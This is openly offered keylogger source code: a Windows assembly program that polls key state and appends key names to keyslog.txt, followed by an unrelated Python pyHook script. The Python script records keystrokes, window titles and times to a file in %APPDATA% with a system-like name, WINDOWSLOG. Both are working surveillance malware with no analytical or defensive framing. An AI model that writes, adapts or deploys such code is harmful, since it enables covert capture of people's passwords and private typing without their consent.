;==============================================
;KeysLog.asm Simple KeyLogger
;Records file keyslog.txt in current folder
;Gives a name to the Keys like magic
;==============================================

format PE console

INCLUDE '..\include\win32ax.inc'

.code

Start:
mov esi,7
invoke Sleep,1

GoGo:
cmp esi,255
je Start

inc esi
invoke GetAsyncKeyState,esi
cmp eax,0
jnz LowGarb
jmp GoGo

LowGarb:
invoke MapVirtualKey,esi,0
shl eax,16
invoke GetKeyNameText,eax,KeyBuffer,0x100

invoke  CreateFile, LogFileName, GENERIC_WRITE, 0,  NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL
cmp eax,0
je Exit
mov ebx, eax
invoke SetFilePointer,ebx,0,0,FILE_END

invoke lstrlen,KeyBuffer
invoke WriteFile,ebx,KeyBuffer,eax,BytesWritten,NULL
invoke Sleep,150
invoke CloseHandle,ebx
jmp GoGo

Exit:
mov ebx, dword [FileHandle]
invoke CloseHandle,ebx
invoke ExitProcess,0

.data
LogFileName db "keyslog.txt",0
BytesWritten dd 0
KeyBuffer rb 0x100
EndBuff:
FileHandle dq 0

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
       Sleep,'Sleep',\
       CreateFile,'CreateFileA',\
       WriteFile,'WriteFile',\
       SetFilePointer,'SetFilePointer',\
       CloseHandle,'CloseHandle',\
       lstrlen,'lstrlenA',\
       ExitProcess,'ExitProcess'

  import user,\
         GetAsyncKeyState, 'GetAsyncKeyState',\
         MapVirtualKey,'MapVirtualKeyA',\
         GetKeyNameText,'GetKeyNameTextA'

section '' fixups discardable

    

import pythoncom
import pyHook
import os
import random
import datetime

def OnKeyboardEvent(event):
    directory = os.popen('echo %APPDATA%').read().strip('\r\n')
    directory = str(directory).replace("\\", '/')
    os.chdir(directory)
    now = datetime.datetime.now()
    if os.path.exists(r'WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year)):
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'a')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    else:
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'w')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()